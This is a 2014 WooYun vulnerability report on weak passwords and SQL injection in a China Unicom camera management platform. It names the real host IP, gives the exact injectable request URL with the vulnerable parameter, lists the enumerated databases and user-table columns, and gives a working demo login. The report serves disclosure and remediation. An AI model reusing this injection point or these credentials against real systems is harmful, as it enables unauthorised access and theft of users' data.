当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061903

漏洞标题:中国联通某摄像管理平台存在弱口令+sql注入

相关厂商:中国联通

漏洞作者: 我是壮丁

提交时间:2014-05-26 19:23

修复时间:2014-08-24 19:24

公开时间:2014-08-24 19:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 细节已通知厂商并且等待厂商处理中
2014-05-30: 厂商已经确认,细节仅向厂商公开
2014-06-02: 细节向第三方安全合作伙伴开放
2014-07-24: 细节向核心白帽子及相关领域专家公开
2014-08-03: 细节向普通白帽子公开
2014-08-13: 细节向实习白帽子公开
2014-08-24: 细节向公众公开

简要描述:

弱口令+sql注入

详细说明:

看到了这个 WooYun: 中国联通某摄像管理平台存在弱口令
发现很好玩,就看了看
发现admin是被改了,test还是没有被修改。
于是又进来了。

11.png


没有admin啊,不好玩,接着搞
在找回密码和注册那里发现了注入....
找回密码这里的:
http://210.22.8.98/dwr/call/plaincall/DwrUserInfo.resetPassword.dwr?callCount=1&page=/forgot.action&httpSessionId=&scriptSessionId=1400608260581&c0-scriptName=DwrUserInfo&c0-methodName=resetPassword&c0-id=0&c0-param0=string:1111'&c0-param1=string:111@11.com&batchId=0&locale=zh_CN
c0-param0这个参数存在的问题
搞到了数据库的内容
database:
[*] db_register
[*] dserver_1
[*] information_schema
[*] mysql
[*] test
db_register:
+---------------------+
| admin | AdminID:Name:Password:RoleId
| admin_camera_group |
| admin_manage_camera |
| appointuser |
| appserver |
| appserverassign |
| appserverinfo | Account:AppServerID:AppServerSN:AppServerType:AssignFlag:Capacity:Password:RecycleDay
| db_version |
| devices |
| dserver_names |
| dservers |
| groups |
| languages |
| location |
| location_names |
| news |
| users | ServerID:UserID:UserName
+---------------------+
dserver_1:
+---------------+
| DeviceAssign |
| DvipDevice |
| GroupInfo |
| UserAppServer |
| UserDevice |
| UserInfo |
+---------------+
Database: dserver_1
Table: UserInfo
[16 columns]
+--------------+------------------+
| Column | Type |
+--------------+------------------+
| AlarmFlag | varchar(64) |
| Email | varchar(64) |
| MobileNumber | varchar(64) |
| MViewRes | int(10) |
| OwnerID | int(10) unsigned |
| Playtime | int(11) |
| RegisterDate | date |
| RegisterIP | varchar(40) |
| SendInfo | int(10) |
| UserID | int(10) unsigned |
| UserName | varchar(20) |
| UserPassword | varchar(40) |
| UserType | tinyint(4) |
| ViewSetup | varchar(255) |
| ViewTime | varchar(64) |
| WebViewRes | int(10) |
+--------------+------------------+
admin的密码加密了,没有破解开。。。
系统中还存在很多弱口令,删除了吧。。。
百度http://210.22.8.98/
看到了http://www.tpy888.cn/sell/201210/19/675173.html
说是一个演示平台,用户名和密码:auds(可以直接登录进去)
这个算是什么呢,演示平台?还是通用的呢?

漏洞证明:

修复方案:

1、删除干净测试账户
2、过滤参数
3、验证码避免爆破

版权声明:转载请注明来源 我是壮丁@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-30 17:45

厂商回复:

CNVD确认并复现所述情况,向中国联通集团公司通报处置。

最新状态:

暂无


漏洞评价:

评论